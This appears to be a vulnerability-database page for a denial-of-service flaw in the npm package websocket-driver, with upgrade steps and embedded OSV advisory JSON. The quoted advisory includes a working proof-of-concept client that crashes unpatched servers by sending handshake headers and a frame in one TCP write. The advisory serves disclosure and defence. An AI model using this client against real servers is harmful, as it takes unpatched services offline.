CVE-2026-144303: websocket-driver Server Crash Triggered By Client Vulnerability
HIGHCVE-2026-144303 is a HIGH (CVSS 7.5) server crash triggered by client vulnerability (CWE-248: Uncaught Exception) affecting websocket-driver libraries in the npm ecosystem. The issue involves server crash triggered by client sending message data in the same tcp chunk as request headers. Remediation is available by upgrading affected packages to version 0.8.3.
CVE-2026-144303 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-144303
To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install websocket-driver@0.8.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls websocket-driver
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-144303, inspect your project dependencies using npm:
npm ls websocket-driver
Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.3), your application is affected.
Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-144303 Affected websocket-driver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
websocket-driver
|
npm |
< 0.8.3
|
0.8.3
|
References
Frequently Asked Questions
What is CVE-2026-144303?
Which websocket-driver versions are affected?
What version fixes CVE-2026-144303?
Is websocket-driver affected?
What is the CVSS score of CVE-2026-144303?
What CWE is associated with CVE-2026-144303?
How can I check npm dependencies for CVE-2026-144303?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mxfr-rg9v-vp3c",
"modified" : "2026-12-04T21:54:48Z",
"published" : "2026-12-04T21:54:48Z",
"aliases" : [ "CVE-2026-144303" ],
"summary" : "websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers",
"details" : "### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers.\n\n### Details\n\nThe `websocket.http()` driver constructor is designed to be used with the Node HTTP `upgrade` event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling `start()` on it, like so:\n\n```js\nserver.on('upgrade', (request, socket, body) => {\n if (!websocket.isWebSocket(request)) return\n let driver = websocket.http(request)\n driver.io.write(body)\n // set up event listeners...\n driver.start()\n})\n```\n\nThis API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.\n\nWhen the RFC 6455 standard protocol is in use, `body` should typically be empty, since clients should not send messages before the handshake completes. However, if `body` is not empty, then passing it to `driver.io.write()` before calling `driver.start()` triggers an exception due to the parser not being initialised. This exception crashes the process.\n\nThis has been mitigated by buffering this input and parsing it when `start()` is called, so that any data received before `start()` is called is not lost. This buffering is subject to the `maxLength` configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.\n\n### Proof of concept\n\nGiven a server set up as follows:\n\n```js\nconst http = require('http')\nconst websocket = require('websocket-driver')\n\nlet server = http.createServer()\n\nserver.on('upgrade', (request, socket, body) => {\n if (!websocket.isWebSocket(request)) return\n\n let driver = websocket.http(request)\n\n driver.io.write(body)\n socket.pipe(driver.io).pipe(socket)\n\n driver.messages.on('data', (m) => console.log({ m }))\n\n driver.start()\n})\n\nserver.listen(5077, '127.0.0.1')\n```\n\nThe following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.\n\n```js\nconst net = require('net')\n\nlet socket = net.connect(5077, '127.0.0.1')\n\nlet httpMessage = Buffer.from(\n 'GET / HTTP/1.1\\r\\n' +\n 'Host: 127.0.0.1\\r\\n' +\n 'Connection: Upgrade\\r\\n' +\n 'Upgrade: websocket\\r\\n' +\n `Sec-WebSocket-Key: ${btoa('the sample nonce')}\\r\\n` +\n 'Sec-WebSocket-Version: 13\\r\\n' +\n '\\r\\n'\n)\n\n// FIN = 1, mask key 00 00 00 00, payload 'a'\nlet maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])\n\n// the frame is sent in the same write as the handshake,\n// so it arrives in the `body` (head) argument of the 'upgrade' event\nsocket.write(Buffer.concat([httpMessage, maskedTextFrame]))\nsocket.on('error', () => {})\n```\n\nOn receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.\n\n### Impact\n\nAn unauthenticated remote client can crash any Node.js process that follows the README's \"Server-side with HTTP\" example, with a single TCP write.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "websocket-driver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-mxfr-rg9v-vp3c"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-144303"
}, {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/commit/66486511c8b90ce6de4ea5b613109562f4cb5900"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/faye/websocket-driver-node"
}, {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/releases/tag/0.8.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-248" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-04T21:54:48Z",
"nvd_published_at" : "2026-12-03T18:17:26Z"
}
}